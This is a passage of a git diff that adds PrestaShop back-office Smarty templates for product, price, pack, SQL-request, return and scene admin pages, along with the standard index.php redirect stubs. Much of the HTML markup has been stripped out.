+ id}disabled="disabled"{/if} + id="name_{$language.id_lang}" name="name_{$language.id_lang}" + value="{$product->name[$language.id_lang]|htmlentitiesUTF8|default:''}"/> * + {l s='Invalid characters:'} <>;=#{}  + +
+ {/foreach} +
+ + {l s='Special characters allowed:'}.-_#\  +
+ {l s='(Europe, Japan)'} +
+ {l s='(US, Canada)'} +
+ {* status informations *} + + + + + + + + + + + + + + + + + + active}style="display:none"{/if} > + + + + + + + +
+ {include file="controllers/products/multishop/checkbox.tpl" field="active" type="radio" onclick=""} + + +
    +
  • + active || !$product->isAssociatedToShop()}checked="checked" {/if} /> + +
  • +
  • + active && $product->isAssociatedToShop()}checked="checked"{/if} /> + +
  • +
+
+ {include file="controllers/products/multishop/checkbox.tpl" field="visibility" type="default"} + + + +
+ {if isset($display_multishop_checkboxes) && $display_multishop_checkboxes} +
+
    +
  • {include file="controllers/products/multishop/checkbox.tpl" only_checkbox="true" field="available_for_order" type="default"}
  • +
  • {include file="controllers/products/multishop/checkbox.tpl" only_checkbox="true" field="show_price" type="show_price"}
  • +
  • {include file="controllers/products/multishop/checkbox.tpl" only_checkbox="true" field="online_only" type="default"}
  • +
+
+ {/if} + + +
+
    +
  • + available_for_order}checked="checked"{/if} /> + +
  • +
  • + show_price}checked="checked"{/if} {if $product->available_for_order}disabled="disabled"{/if}/> + +
  • +
  • + online_only}checked="checked"{/if} /> + +
  • +
+
+ {include file="controllers/products/multishop/checkbox.tpl" field="condition" type="default"} + + + +
+ +
+ + + + + + + + + + {if $images} + + + + +
+ {include file="controllers/products/multishop/checkbox.tpl" field="description_short" type="tinymce" multilang="true"} + +

({l s='Appears in the product list(s), and on the top of the product page.'})

+
+ {include file="controllers/products/textarea_lang.tpl" + languages=$languages + input_name='description_short' + input_value=$product->description_short + max=$PS_PRODUCT_SHORT_DESC_LIMIT} +

+
+ {include file="controllers/products/multishop/checkbox.tpl" field="description" type="tinymce" multilang="true"} + +

({l s='Appears in the body of the product page'})

+
+ {include file="controllers/products/textarea_lang.tpl" languages=$languages + input_name='description' + input_value=$product->description + } +

+
+
+ {l s='Do you want an image associated with the product in your description?'} + {l s='Click here'}. +
+

+
+ + + + + + + + + + + + + + + + + + + + + + + + + {/if} + + + + + +
+ {foreach from=$languages item=language} +
+ + {l s='Forbidden characters:'} !<;>;?=+#"°{}_$%  +
+ {/foreach} +

{l s='Tags separated by commas (e.g. dvd, dvd player, hifi)'}

+
+ +
+
diff --git a/BO/themes/default/template/controllers/products/input_text_lang.tpl b/BO/themes/default/template/controllers/products/input_text_lang.tpl new file mode 100755 index 0000000..bfb8778 --- /dev/null +++ b/BO/themes/default/template/controllers/products/input_text_lang.tpl @@ -0,0 +1,35 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
+{foreach from=$languages item=language} +
+ +
+{/foreach} +
diff --git a/BO/themes/default/template/controllers/products/multishop/check_fields.tpl b/BO/themes/default/template/controllers/products/multishop/check_fields.tpl new file mode 100755 index 0000000..95b5d13 --- /dev/null +++ b/BO/themes/default/template/controllers/products/multishop/check_fields.tpl @@ -0,0 +1,31 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($display_multishop_checkboxes) && $display_multishop_checkboxes} + +{/if} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/products/multishop/checkbox.tpl b/BO/themes/default/template/controllers/products/multishop/checkbox.tpl new file mode 100755 index 0000000..9f8d4a3 --- /dev/null +++ b/BO/themes/default/template/controllers/products/multishop/checkbox.tpl @@ -0,0 +1,50 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($display_multishop_checkboxes) && $display_multishop_checkboxes} + {if isset($multilang) && $multilang} + {if isset($only_checkbox)} + {foreach from=$languages item=language} + + {/foreach} + {else} +
+ {foreach from=$languages item=language} +
+ +
+ {/foreach} +
+ {/if} + {else} + {if isset($only_checkbox)} + + {else} +
+ +
+ {/if} + {/if} +{/if} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/products/multishop/index.php b/BO/themes/default/template/controllers/products/multishop/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/products/multishop/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/products/pack.tpl b/BO/themes/default/template/controllers/products/pack.tpl new file mode 100755 index 0000000..f46bc77 --- /dev/null +++ b/BO/themes/default/template/controllers/products/pack.tpl @@ -0,0 +1,78 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +

{l s='Pack'}

+
+ + + + + + + +
+
+ + +
+
+
+ +

+ + + + + + + + + {l s='Add this product to the pack'} + + +

+
{l s='List of products for that pack:'} +

+ +
+ {foreach $pack_items as $pack_item} + {$pack_item.pack_quantity} x {$pack_item.name} + + +
+ {/foreach} +
+ +
+

{l s='You cannot add combinations to a pack.'}

+ +
diff --git a/BO/themes/default/template/controllers/products/prices.tpl b/BO/themes/default/template/controllers/products/prices.tpl new file mode 100755 index 0000000..d993bb7 --- /dev/null +++ b/BO/themes/default/template/controllers/products/prices.tpl @@ -0,0 +1,412 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +{* END CUSTOMER AUTO-COMPLETE / TO REFACTO *} + +

{l s='Product price'}

+
+ {l s='You must enter either the pre-tax retail price, or the retail price with tax. The input field will be automatically calculated.'} +
+ +{include file="controllers/products/multishop/check_fields.tpl" product_tab="Prices"} + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ {include file="controllers/products/multishop/checkbox.tpl" field="wholesale_price" type="default"} + + + {$currency->prefix}{$currency->suffix} +

{l s='Wholesale price'}

+
+ {include file="controllers/products/multishop/checkbox.tpl" field="price" type="price"} + + + + {$currency->prefix}{$currency->suffix} +

{l s='The pre-tax retail price to sell this product'}

+
+ {include file="controllers/products/multishop/checkbox.tpl" field="id_tax_rules_group" type="default"} + + + + + + + + {l s='Create'} {l s='Create'} + + + {if $tax_exclude_taxe_option} + {l s='Taxes are currently disabled'} ({l s='Tax options'}) + + {/if} +
+ {include file="controllers/products/multishop/checkbox.tpl" field="ecot" type="default"} + + + {$currency->prefix}{$currency->suffix} + ({l s='already included in price'}) +
+ {$currency->prefix}{$currency->suffix} + +
+ {include file="controllers/products/multishop/checkbox.tpl" field="unit_price" type="unit_price"} + + + {$currency->prefix} {$currency->suffix} + {l s='per'}  + {if $ps_tax && $country_display_tax_label} + {l s='or'} + {$currency->prefix}0.00{$currency->suffix} + {l s='per'} {$product->unity} {l s='with tax'} + + {/if} +

{l s='e.g. per lb.'}

+
+ {include file="controllers/products/multishop/checkbox.tpl" field="on_sale" type="default"} + + + on_sale}checked="checked"{/if} value="1" />  +
+ + {$currency->prefix}0.00{$currency->suffix} ({l s='tax incl.'}) + + + + {if $country_display_tax_label} + / + {/if} + {$currency->prefix}{$currency->suffix} {if $country_display_tax_label}({l s='tax excl.'}){/if} +
+
+ +{if isset($specificPriceModificationForm)} +

{l s='Specific prices'}

+
+ {l s='You can set specific prices for clients belonging to different groups, different countries, etc...'} +
+
+ {l s='Add a new specific price'} + +
+ + + + + +
+ + {l s='Statistics'} + +

{$referrer->name}

+ + {foreach $display_tab as $data => $label} + + + + + {/foreach} +
{$label}
+
+
+ +
+ +
+
+ +
+ +
+
+
+ + +{/block} + diff --git a/BO/themes/default/template/controllers/referrers/index.php b/BO/themes/default/template/controllers/referrers/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/referrers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/request_sql/helpers/form/form.tpl b/BO/themes/default/template/controllers/request_sql/helpers/form/form.tpl new file mode 100755 index 0000000..d23e8c9 --- /dev/null +++ b/BO/themes/default/template/controllers/request_sql/helpers/form/form.tpl @@ -0,0 +1,105 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/form/form.tpl"} + +{block name="after"} +
+
+ {l s='List of MySQL Tables:'} +
+
+ +
+ +
+ +
+{/block} + +{block name="script"} + $(document).ready(function() { + $('#selectTables select option').click(function(){ + var table = $(this).val(); + //list attributes: + $.ajax({ + url: 'index.php', + data: { + table: table, + controller: 'adminrequestsql', + token: '{$token}', + action: 'addrequest_sql', + ajax: true + }, + context: document.body, + dataType: 'json', + context: this, + async: false, + success: function(data){ + var html = ""; + html += ""; + html += ""; + html += ""; + html += ""; + html += ""; + html += ""; + html += ""; + html += ""; + for (var i=0; i < data.length; i++) + { + html += ""; + html += ""; + html += ""; + html += ""; + html += ""; + } + html += ""; + html += "
{l s='Attribute'}{l s='Type'}{l s='Action'}
"+data[i].Field+""+data[i].Type+"
"; + $('#listAttributes').html(html); + } + }); + }); + + $('#add_table').click(function(){ + var table = $('#selectTables select').val(); + + if (!table) + jAlert("{l s='Please choose a table.'}"); + else + AddRequestSql(table); + }); + }); + + function AddRequestSql(string) + { + var sql = $('#sql').val(); + $('#sql').val(sql+' '+string); + return false; + } +{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/request_sql/helpers/form/index.php b/BO/themes/default/template/controllers/request_sql/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/request_sql/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/request_sql/helpers/index.php b/BO/themes/default/template/controllers/request_sql/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/request_sql/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/request_sql/helpers/view/index.php b/BO/themes/default/template/controllers/request_sql/helpers/view/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/request_sql/helpers/view/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/request_sql/helpers/view/view.tpl b/BO/themes/default/template/controllers/request_sql/helpers/view/view.tpl new file mode 100755 index 0000000..a904778 --- /dev/null +++ b/BO/themes/default/template/controllers/request_sql/helpers/view/view.tpl @@ -0,0 +1,66 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} + {if isset($view['error'])} +

{l s='This query has no result.'}

+ {else} +

{$view['name']}

+ + + + {foreach $view['key'] AS $key} + + {/foreach} + + + + {foreach $view['results'] AS $result} + + {foreach $view['key'] AS $name} + {if isset($view['attributes'][$name])} + + {else} + + {/if} + {/foreach} + + {/foreach} + +
{$key}
{$view['attributes'][$name]}{$result[$name]}
+ + + {/if} +{/block} + diff --git a/BO/themes/default/template/controllers/request_sql/index.php b/BO/themes/default/template/controllers/request_sql/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/request_sql/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/request_sql/list_action_export.tpl b/BO/themes/default/template/controllers/request_sql/list_action_export.tpl new file mode 100755 index 0000000..63452b1 --- /dev/null +++ b/BO/themes/default/template/controllers/request_sql/list_action_export.tpl @@ -0,0 +1,26 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{$action} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/return/helpers/form/form.tpl b/BO/themes/default/template/controllers/return/helpers/form/form.tpl new file mode 100755 index 0000000..8c8a53e --- /dev/null +++ b/BO/themes/default/template/controllers/return/helpers/form/form.tpl @@ -0,0 +1,108 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file='helpers/form/form.tpl'} + +{block name="input"} + {if $input.type == 'text_customer'} + {$customer->firstname} {$customer->lastname} +

+ {l s='View details on the customer page'} +

+ {elseif $input.type == 'text_order'} + {$text_order} +

+ {l s='View details on the order page'} +

+ {elseif $input.type == 'list_products'} + + + + + +
  + + + + + + + + + {foreach $returnedCustomizations as $returnedCustomization} + + + + + + + {foreach $customizationDatas as $type => $datas} + + + + {/foreach} + {/foreach} + + {* Classic products *} + {foreach $products as $k => $product} + {if !isset($quantityDisplayed[$product['id_order_detail']]) || $product['product_quantity']|intval > $quantityDisplayed[$product['id_order_detail']]|intval} + + + + + + + {/if} + {/foreach} +
{l s='Reference'}{l s='Product name'}{l s='Quantity'}{l s='Action'}
{$returnedCustomization['reference']}{$returnedCustomization['name']}{$returnedCustomization['product_quantity']|intval} + + + +
+ {if $type == 'type_file'} +
    + {foreach $datas a $data name='loop'} +
  • + +
  • + {/foreach} +
+ {elseif $type == 'type_textfield'} +
    + {foreach $datas as $data name='loop'} +
  • {if $data['name']}$data['name']{else}{l s='Text #%d' sprintf=$loop.iteration}{/if}{l s=':'} {$data['value']}
  • + {/foreach} +
+ {/if} +
{$product['product_reference']}{$product['product_name']}{$product['product_quantity']} + + + +
+
+ {else} + {$smarty.block.parent} + {/if} +{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/return/helpers/form/index.php b/BO/themes/default/template/controllers/return/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/return/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/return/helpers/index.php b/BO/themes/default/template/controllers/return/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/return/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/return/index.php b/BO/themes/default/template/controllers/return/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/return/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/scenes/helpers/form/form.tpl b/BO/themes/default/template/controllers/scenes/helpers/form/form.tpl new file mode 100755 index 0000000..2e2c096 --- /dev/null +++ b/BO/themes/default/template/controllers/scenes/helpers/form/form.tpl @@ -0,0 +1,49 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/form/form.tpl"} + +{block name="input"} + {if ($input.type == "description")} +

{$input.text}

+ {else} + {$smarty.block.parent} + {/if} +{/block} + +{block name="after"} + +{/block} diff --git a/BO/themes/default/template/controllers/scenes/helpers/form/index.php b/BO/themes/default/template/controllers/scenes/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/scenes/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/scenes/helpers/index.php b/BO/themes/default/template/controllers/scenes/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/scenes/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/scenes/index.php b/BO/themes/default/template/controllers/scenes/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/scenes/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/search/helpers/index.php b/BO/themes/default/template/controllers/search/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/search/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/search/helpers/view/index.php b/BO/themes/default/template/controllers/search/helpers/view/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/search/helpers/view/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/search/helpers/view/view.tpl b/BO/themes/default/template/controllers/search/helpers/view/view.tpl new file mode 100755 index 0000000..2cafcee --- /dev/null +++ b/BO/themes/default/template/controllers/search/helpers/view/view.tpl @@ -0,0 +1,111 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* 